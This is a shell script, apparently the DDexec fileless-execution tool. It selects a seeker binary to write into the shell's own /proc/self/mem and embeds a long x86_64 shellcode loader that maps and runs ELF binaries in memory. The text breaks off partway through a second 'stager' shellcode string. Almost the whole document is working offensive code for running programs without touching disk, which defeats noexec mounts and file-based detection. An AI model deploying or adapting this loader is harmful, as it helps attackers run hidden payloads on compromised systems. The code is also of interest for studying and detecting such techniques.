#!/bin/sh # Prepend the stager with an infinite loop (so you can attach to it with gdb) # Then in gdb just use `set $pc+=2' and you will be able to `si'. # In ARM64 use `set $pc+=4'. if [ -z "$DEBUG" ]; then DEBUG=0; fi # `tail' is the default binary used to lseek() through the mem file. if [ -z "$SEEKER" ]; then seeker=tail; else seeker="$SEEKER"; fi seeker="$(command -v "$seeker")" # Harry Potter vibes? Nah. # Busybox / Toybox's implementations of tail and others won't do the trick seeker_test="$("$seeker" --help 2>&1)" shell_test=$(/proc/self/exe --version 2>&1) if [ -z "${shell_test##*applet*}" -o -z "${seeker_test##*Box*}" -o \ -z "${seeker_test##*box*}" ] then seeker="$(command -v dd)" fi # Arguments' format for the chosen seeker if [ -z "$SEEKER_ARGS" ] then if [ -z "${seeker##*tail*}" ] then SEEKER_ARGS='-c +$(($offset + 1))' elif [ -z "${seeker##*dd*}" ] then SEEKER_ARGS='bs=1 skip=$offset' elif [ -z "${seeker##*hexdump*}" ] then SEEKER_ARGS='-s $offset' elif [ -z "${seeker##*cmp*}" ] then SEEKER_ARGS='-i $offset /dev/null' else echo "DDexec: Unknown seeker. Provide its arguments in SEEKER_ARGS." exit 1 fi fi # Make zsh behave somewhat like a normal shell shellname="$(/proc/self/exe --version 2>&1)" if [ -z "${shellname##*zsh*}" ] then emulate sh fi arch="$(uname -m)" if [ "$arch" = "x86_64" ] then sc="\x55\x48\x89\xe5\x48\x81\xec\x50\x01\x00\x00\x48"\ "\x8d\x85\xf4\xfe\xff\xff\x48\x89\x45\x80\x48\x8d"\ "\x85\xc7\xfe\xff\xff\xba\x08\x00\x00\x00\x48\x89"\ "\xc6\xbf\x08\x00\x00\x00\xe8\xd9\x0e\x00\x00\xc6"\ "\x84\x05\xc7\xfe\xff\xff\x00\x48\x8d\x85\xc7\xfe"\ "\xff\xff\x48\x89\x85\x78\xff\xff\xff\x48\xc7\x85"\ "\x70\xff\xff\xff\x00\x00\x00\x00\xc7\x85\x6c\xff"\ "\xff\xff\x00\x00\x00\x00\xeb\x07\x83\x85\x6c\xff"\ "\xff\xff\x01\x8b\x85\x6c\xff\xff\xff\x48\x63\xd0"\ "\x48\x8b\x85\x78\xff\xff\xff\x48\x01\xd0\x0f\xb6"\ "\x00\x3c\x2f\x7e\x1a\x8b\x85\x6c\xff\xff\xff\x48"\ "\x63\xd0\x48\x8b\x85\x78\xff\xff\xff\x48\x01\xd0"\ "\x0f\xb6\x00\x3c\x39\x7e\xc5\x8b\x85\x6c\xff\xff"\ "\xff\x48\x63\xd0\x48\x8b\x85\x78\xff\xff\xff\x48"\ "\x01\xd0\x0f\xb6\x00\x3c\x60\x7e\x1a\x8b\x85\x6c"\ "\xff\xff\xff\x48\x63\xd0\x48\x8b\x85\x78\xff\xff"\ "\xff\x48\x01\xd0\x0f\xb6\x00\x3c\x66\x7e\x91\xc7"\ "\x85\x68\xff\xff\xff\x01\x00\x00\x00\x8b\x85\x6c"\ "\xff\xff\xff\x83\xe8\x01\x89\x85\x64\xff\xff\xff"\ "\xeb\x65\x8b\x85\x64\xff\xff\xff\x48\x63\xd0\x48"\ "\x8b\x85\x78\xff\xff\xff\x48\x01\xd0\x0f\xb6\x00"\ "\x0f\xbe\xc0\x88\x85\x63\xff\xff\xff\x80\xbd\x63"\ "\xff\xff\xff\x2f\x7e\x15\x80\xbd\x63\xff\xff\xff"\ "\x39\x7f\x0c\x0f\xbe\x85\x63\xff\xff\xff\x83\xe8"\ "\x30\xeb\x0a\x0f\xbe\x85\x63\xff\xff\xff\x83\xe8"\ "\x57\x0f\xaf\x85\x68\xff\xff\xff\x48\x98\x48\x01"\ "\x85\x70\xff\xff\xff\xc1\xa5\x68\xff\xff\xff\x04"\ "\x83\xad\x64\xff\xff\xff\x01\x83\xbd\x64\xff\xff"\ "\xff\x00\x79\x92\x48\x8b\x85\x70\xff\xff\xff\x48"\ "\x89\x85\x58\xff\xff\xff\x48\x83\xbd\x58\xff\xff"\ "\xff\x00\x75\x6b\x48\xc7\x85\x50\xff\xff\xff\x10"\ "\x00\x00\x00\x48\x83\x85\x50\xff\xff\xff\x0f\x48"\ "\x83\xa5\x50\xff\xff\xff\xf0\x48\x89\xe2\x48\x8b"\ "\x85\x50\xff\xff\xff\x48\xf7\xd8\x48\x01\xd0\x48"\ "\x89\xc4\x48\x89\xe0\x48\x89\x85\x48\xff\xff\xff"\ "\x48\x8b\x85\x48\xff\xff\xff\x48\x83\xc0\x08\x48"\ "\xc7\x00\x00\x00\x00\x00\x48\x8b\x85\x48\xff\xff"\ "\xff\x48\x8d\x50\x08\x48\x8b\x85\x48\xff\xff\xff"\ "\x48\x89\x10\x48\x8b\x85\x48\xff\xff\xff\xe9\x8c"\ "\x02\x00\x00\x48\x8b\x85\x58\xff\xff\xff\x48\x89"\ "\x85\x40\xff\xff\xff\x48\x83\x85\x40\xff\xff\xff"\ "\x0f\x48\x83\xa5\x40\xff\xff\xff\xf0\x48\x89\xe2"\ "\x48\x8b\x85\x40\xff\xff\xff\x48\xf7\xd8\x48\x01"\ "\xd0\x48\x89\xc4\x48\x89\xe0\x48\x89\x85\x38\xff"\ "\xff\xff\x48\x8b\x95\x58\xff\xff\xff\x48\x8b\x85"\ "\x38\xff\xff\xff\x48\x89\xc6\xbf\x08\x00\x00\x00"\ "\xe8\xdb\x0c\x00\x00\xc7\x85\x34\xff\xff\xff\x08"\ "\x00\x00\x00\x8b\x85\x34\xff\xff\xff\x48\x98\x48"\ "\x89\xc7\xb8\x03\x00\x00\x00\x0f\x05\xc7\x85\x30"\ "\xff\xff\xff\x00\x00\x00\x00\x48\xc7\x85\x28\xff"\ "\xff\xff\x01\x00\x00\x00\x48\xc7\x85\x20\xff\xff"\ "\xff\x00\x00\x00\x00\xe9\xd0\x00\x00\x00\x48\x8b"\ "\x95\x38\xff\xff\xff\x48\x8b\x85\x28\xff\xff\xff"\ "\x48\x01\xd0\x0f\xb6\x00\x3c\x22\x75\x28\x48\x8b"\ "\x95\x38\xff\xff\xff\x48\x8b\x85\x20\xff\xff\xff"\ "\x48\x01\xd0\xc6\x00\x00\x48\x83\x85\x28\xff\xff"\ "\xff\x01\x83\x85\x30\xff\xff\xff\x01\xe9\x80\x00"\ "\x00\x00\x48\x8b\x95\x38\xff\xff\xff\x48\x8b\x85"\ "\x28\xff\xff\xff\x48\x01\xd0\x0f\xb6\x00\x3c\x5c"\ "\x75\x41\x48\x83\x85\x28\xff\xff\xff\x01\x48\x8b"\ "\x85\x58\xff\xff\xff\x48\x39\x85\x28\xff\xff\xff"\ "\x73\x29\x48\x8b\x95\x38\xff\xff\xff\x48\x8b\x85"\ "\x28\xff\xff\xff\x48\x01\xd0\x48\x8b\x8d\x38\xff"\ "\xff\xff\x48\x8b\x95\x20\xff\xff\xff\x48\x01\xca"\ "\x0f\xb6\x00\x88\x02\xeb\x27\x48\x8b\x95\x38\xff"\ "\xff\xff\x48\x8b\x85\x28\xff\xff\xff\x48\x01\xd0"\ "\x48\x8b\x8d\x38\xff\xff\xff\x48\x8b\x95\x20\xff"\ "\xff\xff\x48\x01\xca\x0f\xb6\x00\x88\x02\x48\x83"\ "\x85\x28\xff\xff\xff\x01\x48\x83\x85\x20\xff\xff"\ "\xff\x01\x48\x8b\x85\x58\xff\xff\xff\x48\x39\x85"\ "\x28\xff\xff\xff\x0f\x82\x1c\xff\xff\xff\x8b\x85"\ "\x30\xff\xff\xff\x83\xc0\x01\x48\x98\x48\xc1\xe0"\ "\x03\x48\x89\x85\x18\xff\xff\xff\x48\x83\x85\x18"\ "\xff\xff\xff\x0f\x48\x83\xa5\x18\xff\xff\xff\xf0"\ "\x48\x89\xe2\x48\x8b\x85\x18\xff\xff\xff\x48\xf7"\ "\xd8\x48\x01\xd0\x48\x89\xc4\x48\x89\xe0\x48\x89"\ "\x85\x10\xff\xff\xff\x48\xc7\x85\x08\xff\xff\xff"\ "\x00\x00\x00\x00\xeb\x78\x48\x8b\x85\x08\xff\xff"\ "\xff\x48\x8d\x14\xc5\x00\x00\x00\x00\x48\x8b\x85"\ "\x10\xff\xff\xff\x48\x01\xc2\x48\x8b\x85\x38\xff"\ "\xff\xff\x48\x89\x02\x48\x8b\x85\x38\xff\xff\xff"\ "\x48\x89\x85\x00\xff\xff\xff\x48\xc7\x85\xf8\xfe"\ "\xff\xff\x00\x00\x00\x00\xeb\x08\x48\x83\x85\xf8"\ "\xfe\xff\xff\x01\x48\x8b\x95\x00\xff\xff\xff\x48"\ "\x8b\x85\xf8\xfe\xff\xff\x48\x01\xd0\x0f\xb6\x00"\ "\x84\xc0\x75\xe0\x48\x8b\x85\xf8\xfe\xff\xff\x48"\ "\x83\xc0\x01\x48\x01\x85\x38\xff\xff\xff\x48\x83"\ "\x85\x08\xff\xff\xff\x01\x8b\x85\x30\xff\xff\xff"\ "\x48\x98\x48\x39\x85\x08\xff\xff\xff\x0f\x82\x73"\ "\xff\xff\xff\x8b\x85\x30\xff\xff\xff\x48\x98\x48"\ "\x8d\x14\xc5\x00\x00\x00\x00\x48\x8b\x85\x10\xff"\ "\xff\xff\x48\x01\xd0\x48\xc7\x00\x00\x00\x00\x00"\ "\x48\x8b\x45\x80\x8b\x95\x30\xff\xff\xff\x89\x10"\ "\x48\x8b\x85\x10\xff\xff\xff\x48\x89\x45\xe0\x48"\ "\x8d\x85\xe8\xfe\xff\xff\x48\x89\xc7\xe8\xb3\x09"\ "\x00\x00\x48\x89\x45\xd8\x48\x8d\x95\xe4\xfe\xff"\ "\xff\x48\x8b\x45\xd8\xbe\x00\x00\x40\x00\x48\x89"\ "\xc7\xe8\x1f\x04\x00\x00\x48\x89\x45\xd0\x48\xc7"\ "\x45\xf8\x00\x00\x00\x00\x48\xc7\x45\xf0\x00\x00"\ "\x00\x00\x8b\x85\xe4\xfe\xff\xff\x83\xe0\x02\x85"\ "\xc0\x0f\x85\x83\x00\x00\x00\x48\x8b\x45\xd8\xba"\ "\x01\x00\x00\x00\x48\x8d\x0d\x56\x0a\x00\x00\x48"\ "\x89\xce\x48\x89\xc7\xe8\x07\x08\x00\x00\x48\x89"\ "\x45\xc8\x48\x8b\x55\xc8\x48\x8b\x45\xd8\x48\x01"\ "\xc2\x48\x8d\x85\xb8\xfe\xff\xff\x48\x89\xc6\x48"\ "\x89\xd7\xe8\x1c\x07\x00\x00\x48\x89\x45\xc0\x48"\ "\x8b\x45\xc0\xba\x00\x00\x00\x00\xbe\x00\x00\x40"\ "\x40\x48\x89\xc7\xe8\xa4\x03\x00\x00\x48\x89\x45"\ "\xf8\x48\x8b\x45\xf8\x48\x8b\x50\x18\x48\x8b\x45"\ "\xf8\x48\x01\xd0\x48\x89\x45\xf0\x48\x8b\x95\xb8"\ "\xfe\xff\xff\x48\x8b\x45\xc0\x48\x89\xd6\x48\x89"\ "\xc7\xe8\xbb\x09\x00\x00\x48\x8b\x45\xd8\x48\x8b"\ "\x50\x18\x8b\x85\xe4\xfe\xff\xff\x48\x98\x83\xe0"\ "\x01\x48\xf7\xd8\x48\x23\x45\xd0\x48\x01\xd0\x48"\ "\x89\x45\xb8\x48\x8b\x45\xd8\x0f\xb7\x40\x38\x0f"\ "\xb7\xc0\x48\x89\x45\xb0\x48\x8b\x45\xd8\x0f\xb7"\ "\x40\x36\x0f\xb7\xc0\x48\x89\x45\xa8\x48\x8b\x45"\ "\xd8\x48\x8b\x50\x20\x48\x8b\x45\xd0\x48\x01\xd0"\ "\x48\x89\x45\xa0\x48\x8b\x95\xe8\xfe\xff\xff\x48"\ "\x8b\x45\xd8\x48\x89\xd6\x48\x89\xc7\xe8\x53\x09"\ "\x00\x00\x41\xb9\x00\x00\x00\x00\x41\xb8\xff\xff"\ "\xff\xff\xb9\x22\x00\x02\x00\xba\x03\x00\x00\x00"\ "\xbe\x00\x10\x02\x00\xbf\x00\x00\x00\x00\xe8\x36"\ "\x09\x00\x00\x48\x89\x45\x98\x48\x8b\x45\x98\x48"\ "\x05\x00\x10\x02\x00\x48\x89\x45\xe8\x48\x83\x6d"\ "\xe8\x08\x48\x8b\x45\xe8\x48\xc7\x00\x00\x00\x00"\ "\x00\x8b\x85\xf4\xfe\xff\xff\x83\xe0\x01\x85\xc0"\ "\x74\x10\x48\x83\x6d\xe8\x08\x48\x8b\x45\xe8\x48"\ "\xc7\x00\x00\x00\x00\x00\x48\xc7\x85\xd0\xfe\xff"\ "\xff\x2a\x00\x00\x00\x48\xc7\x85\xd8\xfe\xff\xff"\ "\x2a\x00\x00\x00\xc7\x45\x94\x00\x00\x00\x00\x48"\ "\x83\x45\xe8\x80\x48\x8b\x45\xe8\x48\x89\x45\x88"\ "\x8b\x45\x94\x48\x98\x48\xc1\xe0\x04\x48\x89\xc2"\ "\x48\x8b\x45\x88\x48\x01\xd0\x48\xc7\x00\x06\x00"\ "\x00\x00\x8b\x45\x94\x8d\x50\x01\x89\x55\x94\x48"\ "\x98\x48\xc1\xe0\x04\x48\x89\xc2\x48\x8b\x45\x88"\ "\x48\x01\xd0\x48\xc7\x40\x08\x00\x10\x00\x00\x8b"\ "\x45\x94\x48\x98\x48\xc1\xe0\x04\x48\x89\xc2\x48"\ "\x8b\x45\x88\x48\x01\xd0\x48\xc7\x00\x19\x00\x00"\ "\x00\x8b\x45\x94\x8d\x50\x01\x89\x55\x94\x48\x98"\ "\x48\xc1\xe0\x04\x48\x89\xc2\x48\x8b\x45\x88\x48"\ "\x01\xc2\x48\x8d\x85\xd0\xfe\xff\xff\x48\x89\x42"\ "\x08\x8b\x45\x94\x48\x98\x48\xc1\xe0\x04\x48\x89"\ "\xc2\x48\x8b\x45\x88\x48\x01\xd0\x48\xc7\x00\x09"\ "\x00\x00\x00\x8b\x45\x94\x8d\x50\x01\x89\x55\x94"\ "\x48\x98\x48\xc1\xe0\x04\x48\x89\xc2\x48\x8b\x45"\ "\x88\x48\x01\xc2\x48\x8b\x45\xb8\x48\x89\x42\x08"\ "\x8b\x45\x94\x48\x98\x48\xc1\xe0\x04\x48\x89\xc2"\ "\x48\x8b\x45\x88\x48\x01\xd0\x48\xc7\x00\x07\x00"\ "\x00\x00\x8b\x45\x94\x8d\x50\x01\x89\x55\x94\x48"\ "\x98\x48\xc1\xe0\x04\x48\x89\xc2\x48\x8b\x45\x88"\ "\x48\x01\xc2\x48\x8b\x45\xf8\x48\x89\x42\x08\x8b"\ "\x45\x94\x48\x98\x48\xc1\xe0\x04\x48\x89\xc2\x48"\ "\x8b\x45\x88\x48\x01\xd0\x48\xc7\x00\x05\x00\x00"\ "\x00\x8b\x45\x94\x8d\x50\x01\x89\x55\x94\x48\x98"\ "\x48\xc1\xe0\x04\x48\x89\xc2\x48\x8b\x45\x88\x48"\ "\x01\xc2\x48\x8b\x45\xb0\x48\x89\x42\x08\x8b\x45"\ "\x94\x48\x98\x48\xc1\xe0\x04\x48\x89\xc2\x48\x8b"\ "\x45\x88\x48\x01\xd0\x48\xc7\x00\x04\x00\x00\x00"\ "\x8b\x45\x94\x8d\x50\x01\x89\x55\x94\x48\x98\x48"\ "\xc1\xe0\x04\x48\x89\xc2\x48\x8b\x45\x88\x48\x01"\ "\xc2\x48\x8b\x45\xa8\x48\x89\x42\x08\x8b\x45\x94"\ "\x48\x98\x48\xc1\xe0\x04\x48\x89\xc2\x48\x8b\x45"\ "\x88\x48\x01\xd0\x48\xc7\x00\x03\x00\x00\x00\x8b"\ "\x45\x94\x8d\x50\x01\x89\x55\x94\x48\x98\x48\xc1"\ "\xe0\x04\x48\x89\xc2\x48\x8b\x45\x88\x48\x01\xc2"\ "\x48\x8b\x45\xa0\x48\x89\x42\x08\x8b\x45\x94\x48"\ "\x98\x48\xc1\xe0\x04\x48\x89\xc2\x48\x8b\x45\x88"\ "\x48\x01\xd0\x48\xc7\x00\x00\x00\x00\x00\x8b\x45"\ "\x94\x8d\x50\x01\x89\x55\x94\x48\x98\x48\xc1\xe0"\ "\x04\x48\x89\xc2\x48\x8b\x45\x88\x48\x01\xd0\x48"\ "\xc7\x40\x08\x00\x00\x00\x00\x48\x83\x6d\xe8\x08"\ "\x48\x8b\x45\xe8\x48\xc7\x00\x00\x00\x00\x00\x48"\ "\x83\x6d\xe8\x08\x48\x8b\x45\xe8\x48\xc7\x00\x00"\ "\x00\x00\x00\x8b\x85\xf4\xfe\xff\xff\x48\x98\x48"\ "\xc1\xe0\x03\x48\xf7\xd8\x48\x01\x45\xe8\x8b\x85"\ "\xf4\xfe\xff\xff\x48\x98\x48\x8d\x14\xc5\x00\x00"\ "\x00\x00\x48\x8b\x4d\xe0\x48\x8b\x45\xe8\x48\x89"\ "\xce\x48\x89\xc7\xe8\x8e\x06\x00\x00\x8b\x85\xf4"\ "\xfe\xff\xff\x48\x83\x6d\xe8\x08\x48\x63\xd0\x48"\ "\x8b\x45\xe8\x48\x89\x10\xbe\x00\x00\x00\x00\xbf"\ "\x02\x00\x00\x00\xe8\x8b\x06\x00\x00\xbe\x01\x00"\ "\x00\x00\xbf\x02\x00\x00\x00\xe8\x7c\x06\x00\x00"\ "\x48\x8b\x65\xe8\x8b\x85\xe4\xfe\xff\xff\x83\xe0"\ "\x02\x85\xc0\x74\x06\x48\x8b\x45\xb8\xff\xe0\x48"\ "\x8b\x45\xf0\xff\xe0\x55\x48\x89\xe5\x48\x81\xec"\ "\xa0\x00\x00\x00\x48\x89\xbd\x78\xff\xff\xff\x48"\ "\x89\xb5\x70\xff\xff\xff\x48\x89\x95\x68\xff\xff"\ "\xff\x48\xc7\x45\xf8\x00\x00\x00\x00\x48\x8b\x85"\ "\x78\xff\xff\xff\x48\x89\x45\xe0\x48\x8b\x45\xe0"\ "\x48\x8b\x50\x20\x48\x8b\x85\x78\xff\xff\xff\x48"\ "\x01\xd0\x48\x89\x45\xd8\x48\x8b\x45\xe0\x0f\xb7"\ "\x40\x38\x66\x89\x45\xd6\x48\x8b\x85\x78\xff\xff"\ "\xff\xba\x00\x00\x00\x00\x48\x8d\x0d\x0c\x06\x00"\ "\x00\x48\x89\xce\x48\x89\xc7\xe8\xb5\x03\x00\x00"\ "\x48\x89\x45\xc8\x48\x83\xbd\x68\xff\xff\xff\x00"\ "\x74\x0d\x48\x8b\x85\x68\xff\xff\xff\xc7\x00\x02"\ "\x00\x00\x00\x48\x8b\x45\xe0\x0f\xb7\x40\x10\x66"\ "\x83\xf8\x03\x75\x23\x48\x83\xbd\x68\xff\xff\xff"\ "\x00\x74\x24\x48\x8b\x85\x68\xff\xff\xff\x8b\x00"\ "\x83\xc8\x01\x89\xc2\x48\x8b\x85\x68\xff\xff\xff"\ "\x89\x10\xeb\x0b\x48\xc7\x85\x70\xff\xff\xff\x00"\ "\x00\x00\x00\xc7\x45\xf4\x00\x00\x00\x00\xe9\x6b"\ "\x02\x00\x00\x48\x83\xbd\x68\xff\xff\xff\x00\x74"\ "\x3c\x8b\x45\xf4\x48\x63\xd0\x48\x89\xd0\x48\xc1"\ "\xe0\x03\x48\x29\xd0\x48\xc1\xe0\x03\x48\x89\xc2"\ "\x48\x8b\x45\xd8\x48\x01\xd0\x8b\x00\x83\xf8\x03"\ "\x75\x17\x48\x8b\x85\x68\xff\xff\xff\x8b\x00\x83"\ "\xe0\xfd\x89\xc2\x48\x8b\x85\x68\xff\xff\xff\x89"\ "\x10\x8b\x45\xf4\x48\x63\xd0\x48\x89\xd0\x48\xc1"\ "\xe0\x03\x48\x29\xd0\x48\xc1\xe0\x03\x48\x89\xc2"\ "\x48\x8b\x45\xd8\x48\x01\xd0\x8b\x00\x83\xf8\x01"\ "\x0f\x85\xf7\x01\x00\x00\x8b\x45\xf4\x48\x63\xd0"\ "\x48\x89\xd0\x48\xc1\xe0\x03\x48\x29\xd0\x48\xc1"\ "\xe0\x03\x48\x89\xc2\x48\x8b\x45\xd8\x48\x01\xd0"\ "\x8b\x40\x04\x89\x45\xc4\x8b\x45\xf4\x48\x63\xd0"\ "\x48\x89\xd0\x48\xc1\xe0\x03\x48\x29\xd0\x48\xc1"\ "\xe0\x03\x48\x89\xc2\x48\x8b\x45\xd8\x48\x01\xd0"\ "\x48\x8b\x40\x08\x48\x89\x45\xb8\x8b\x45\xf4\x48"\ "\x63\xd0\x48\x89\xd0\x48\xc1\xe0\x03\x48\x29\xd0"\ "\x48\xc1\xe0\x03\x48\x89\xc2\x48\x8b\x45\xd8\x48"\ "\x01\xd0\x48\x8b\x40\x10\x48\x89\x45\xb0\x8b\x45"\ "\xf4\x48\x63\xd0\x48\x89\xd0\x48\xc1\xe0\x03\x48"\ "\x29\xd0\x48\xc1\xe0\x03\x48\x89\xc2\x48\x8b\x45"\ "\xd8\x48\x01\xd0\x48\x8b\x40\x20\x48\x89\x45\xe8"\ "\x8b\x45\xf4\x48\x63\xd0\x48\x89\xd0\x48\xc1\xe0"\ "\x03\x48\x29\xd0\x48\xc1\xe0\x03\x48\x89\xc2\x48"\ "\x8b\x45\xd8\x48\x01\xd0\x48\x8b\x40\x28\x48\x89"\ "\x45\xa8\x48\x8b\x45\xb0\x48\x25\x00\xf0\xff\xff"\ "\x48\x89\x45\xa0\x8b\x45\xc4\xc1\xe8\x02\x83\xe0"\ "\x01\x89\xc2\x8b\x45\xc4\x83\xe0\x02\x09\xc2\x8b"\ "\x45\xc4\xc1\xe0\x02\x83\xe0\x04\x09\xd0\x89\x45"\ "\x9c\x48\x8b\x45\xb0\x48\x2b\x45\xa0\x48\x01\x45"\ "\xe8\x48\x8b\x45\xb0\x48\x2b\x45\xa0\x48\x01\x45"\ "\xa8\x48\x8b\x45\xa0\x48\x2b\x45\xb0\x48\x01\x45"\ "\xb8\x48\x8b\x95\x70\xff\xff\xff\x48\x8b\x45\xa0"\ "\x48\x8d\x3c\x02\x48\x8b\x45\xa8\x41\xb9\x00\x00"\ "\x00\x00\x41\xb8\xff\xff\xff\xff\xb9\x32\x00\x00"\ "\x00\xba\x03\x00\x00\x00\x48\x89\xc6\xe8\xc7\x03"\ "\x00\x00\x48\x83\x7d\xb8\x00\x75\x08\x48\x8b\x45"\ "\xa0\x48\x89\x45\xf8\x48\x8b\x45\xe8\x48\x05\xff"\ "\x0f\x00\x00\x48\x25\x00\xf0\xff\xff\x48\x89\x45"\ "\xe8\x48\x83\x7d\xc8\xff\x74\x27\x48\x8b\x45\xc8"\ "\x48\x3b\x45\xa0\x72\x1d\x48\x8b\x55\xa0\x48\x8b"\ "\x45\xe8\x48\x01\xd0\x48\x39\x45\xc8\x73\x0c\x48"\ "\x8b\x45\xc8\x48\x2b\x45\xa0\x48\x89\x45\xe8\x48"\ "\x8b\x95\x78\xff\xff\xff\x48\x8b\x45\xb8\x48\x8d"\ "\x34\x02\x48\x8b\x95\x70\xff\xff\xff\x48\x8b\x45"\ "\xa0\x48\x8d\x0c\x02\x48\x8b\x45\xe8\x48\x89\xc2"\ "\x48\x89\xcf\xe8\x3b\x03\x00\x00\x8b\x45\x9c\x48"\ "\x8b\x8d\x70\xff\xff\xff\x48\x8b\x55\xa0\x48\x01"\ "\xca\x48\x89\x55\x90\x48\x8b\x55\xe8\x48\x89\x55"\ "\x88\x89\x45\x84\x8b\x45\x84\x48\x98\x48\x89\xc2"\ "\x48\x8b\x75\x88\x48\x8b\x7d\x90\xb8\x0a\x00\x00"\ "\x00\x0f\x05\xeb\x01\x90\x83\x45\xf4\x01\x0f\xb7"\ "\x45\xd6\x39\x45\xf4\x0f\x8c\x88\xfd\xff\xff\x48"\ "\x8b\x95\x70\xff\xff\xff\x48\x8b\x45\xf8\x48\x01"\ "\xd0\xc9\xc3\x55\x48\x89\xe5\x48\x83\xec\x50\x48"\ "\x89\x7d\xb8\x48\x89\x75\xb0\xc7\x45\xd8\x9c\xff"\ "\xff\xff\x48\x8b\x45\xb8\x48\x89\x45\xd0\xc7\x45"\ "\xcc\x00\x00\x00\x00\x8b\x45\xcc\x48\x98\x48\x89"\ "\xc2\x48\x8b\x75\xd0\x8b\x45\xd8\x48\x98\x48\x89"\ "\xc7\xb8\x01\x01\x00\x00\x0f\x05\x89\x45\xfc\x8b"\ "\x45\xfc\x89\x45\xe8\x48\xc7\x45\xe0\x00\x00\x00"\ "\x00\xc7\x45\xdc\x02\x00\x00\x00\x8b\x45\xdc\x48"\ "\x98\x48\x89\xc2\x48\x8b\x45\xe0\x48\x89\xc6\x8b"\ "\x45\xe8\x48\x98\x48\x89\xc7\xb8\x08\x00\x00\x00"\ "\x0f\x05\x48\x89\xc2\x48\x8b\x45\xb0\x48\x89\x10"\ "\x48\x8b\x45\xb0\x48\x8b\x00\x8b\x55\xfc\x41\xb9"\ "\x00\x00\x00\x00\x41\x89\xd0\xb9\x02\x00\x00\x00"\ "\xba\x01\x00\x00\x00\x48\x89\xc6\xbf\x00\x00\x00"\ "\x00\xe8\x43\x02\x00\x00\x48\x89\x45\xf0\x8b\x45"\ "\xfc\x89\x45\xec\x8b\x45\xec\x48\x98\x48\x89\xc7"\ "\xb8\x03\x00\x00\x00\x0f\x05\x48\x8b\x45\xf0\xc9"\ "\xc3\x55\x48\x89\xe5\x48\x89\x7d\xa8\x48\x89\x75"\ "\xa0\x89\x55\x9c\x48\x8b\x45\xa8\x48\x89\x45\xf0"\ "\x48\x8b\x45\xf0\x48\x8b\x50\x28\x48\x8b\x45\xa8"\ "\x48\x01\xd0\x48\x89\x45\xe8\x48\x8b\x45\xf0\x0f"\ "\xb7\x40\x3c\x66\x89\x45\xe6\x48\x8b\x45\xf0\x0f"\ "\xb7\x40\x3e\x66\x89\x45\xe4\x0f\xb7\x45\xe4\x48"\ "\xc1\xe0\x06\x48\x89\xc2\x48\x8b\x45\xe8\x48\x01"\ "\xd0\x48\x8b\x50\x18\x48\x8b\x45\xa8\x48\x01\xd0"\ "\x48\x89\x45\xd8\xc7\x45\xfc\x00\x00\x00\x00\xe9"\ "\xcb\x00\x00\x00\x8b\x45\xfc\x48\x98\x48\xc1\xe0"\ "\x06\x48\x89\xc2\x48\x8b\x45\xe8\x48\x01\xd0\x8b"\ "\x00\x89\xc2\x48\x8b\x45\xd8\x48\x01\xd0\x48\x89"\ "\x45\xd0\x48\x8b\x45\xa0\x48\x89\x45\xc8\x48\xc7"\ "\x45\xc0\x00\x00\x00\x00\xeb\x05\x48\x83\x45\xc0"\ "\x01\x48\x8b\x55\xd0\x48\x8b\x45\xc0\x48\x01\xd0"\ "\x0f\xb6\x00\x0f\xbe\xc0\x48\x8b\x4d\xc8\x48\x8b"\ "\x55\xc0\x48\x01\xca\x0f\xb6\x12\x0f\xbe\xd2\x29"\ "\xd0\x89\x45\xbc\x85\xc0\x75\x24\x48\x8b\x55\xd0"\ "\x48\x8b\x45\xc0\x48\x01\xd0\x0f\xb6\x00\x84\xc0"\ "\x74\x12\x48\x8b\x55\xc8\x48\x8b\x45\xc0\x48\x01"\ "\xd0\x0f\xb6\x00\x84\xc0\x75\xac\x8b\x45\xbc\x85"\ "\xc0\x75\x38\x83\x7d\x9c\x00\x74\x19\x8b\x45\xfc"\ "\x48\x98\x48\xc1\xe0\x06\x48\x89\xc2\x48\x8b\x45"\ "\xe8\x48\x01\xd0\x48\x8b\x40\x18\xeb\x31\x8b\x45"\ "\xfc\x48\x98\x48\xc1\xe0\x06\x48\x89\xc2\x48\x8b"\ "\x45\xe8\x48\x01\xd0\x48\x8b\x40\x10\xeb\x18\x83"\ "\x45\xfc\x01\x0f\xb7\x45\xe6\x39\x45\xfc\x0f\x8c"\ "\x28\xff\xff\xff\x48\xc7\xc0\xff\xff\xff\xff\x5d"\ "\xc3\x55\x48\x89\xe5\x48\x83\xec\x50\x48\x89\x7d"\ "\xb8\x41\xb9\x00\x00\x00\x00\x41\xb8\xff\xff\xff"\ "\xff\xb9\x22\x00\x00\x00\xba\x03\x00\x00\x00\xbe"\ "\x00\x10\x00\x00\xbf\x00\x00\x00\x00\xe8\xa3\x00"\ "\x00\x00\x48\x89\x45\xf8\x48\xc7\x45\xf0\x00\x00"\ "\x00\x00\xeb\x4e\x48\x8b\x45\xe8\x48\x01\x45\xf0"\ "\x48\x8b\x45\xf0\x48\x8d\x90\x00\x10\x00\x00\x48"\ "\x8b\x45\xf8\x48\x89\x45\xe0\x48\x8b\x45\xf0\x48"\ "\x89\x45\xd8\x48\x89\x55\xd0\xc7\x45\xcc\x01\x00"\ "\x00\x00\x48\x8b\x7d\xe0\x48\x8b\x75\xd8\x48\x8b"\ "\x55\xd0\x8b\x45\xcc\x48\x98\x49\x89\xc2\xb8\x19"\ "\x00\x00\x00\x0f\x05\x90\x48\x89\x45\xf8\x48\x8b"\ "\x55\xf8\x48\x8b\x45\xf0\x48\x01\xd0\xba\x00\x10"\ "\x00\x00\x48\x89\xc6\xbf\x00\x00\x00\x00\xe8\x35"\ "\x00\x00\x00\x48\x89\x45\xe8\x48\x83\x7d\xe8\x00"\ "\x7f\x8a\x48\x8b\x45\xb8\x48\x8b\x55\xf0\x48\x89"\ "\x10\x48\x8b\x45\xf8\xc9\xc3\x48\x89\xd1\xf3\xa4"\ "\xc3\xb8\x0b\x00\x00\x00\x0f\x05\xc3\x49\x87\xca"\ "\xb8\x09\x00\x00\x00\x0f\x05\xc3\xb8\x00\x00\x00"\ "\x00\x0f\x05\xc3\xb8\x24\x01\x00\x00\xba\x00\x00"\ "\x00\x00\x0f\x05\xc3\x2e\x69\x6e\x74\x65\x72\x70"\ "\x00\x2e\x62\x73\x73\x00" # mmap() + read() + close() + mprotect() + jmp stager="\xb8\x09\x00\x00\x00\x31\xff\xbe\x00\x10\x00\x00"\ "\xba\x03\x00\x00\x00\x41\xba\x22\x00\x00\x00\x41"\ "\xb8\xff\xff\xff\xff\x41\xb9\x00\x00\x00\x00\x0f"\ "\x05\xbf\x09\x00\x00\x00\x89\xf2\x48\x89\xc6\x31"\ 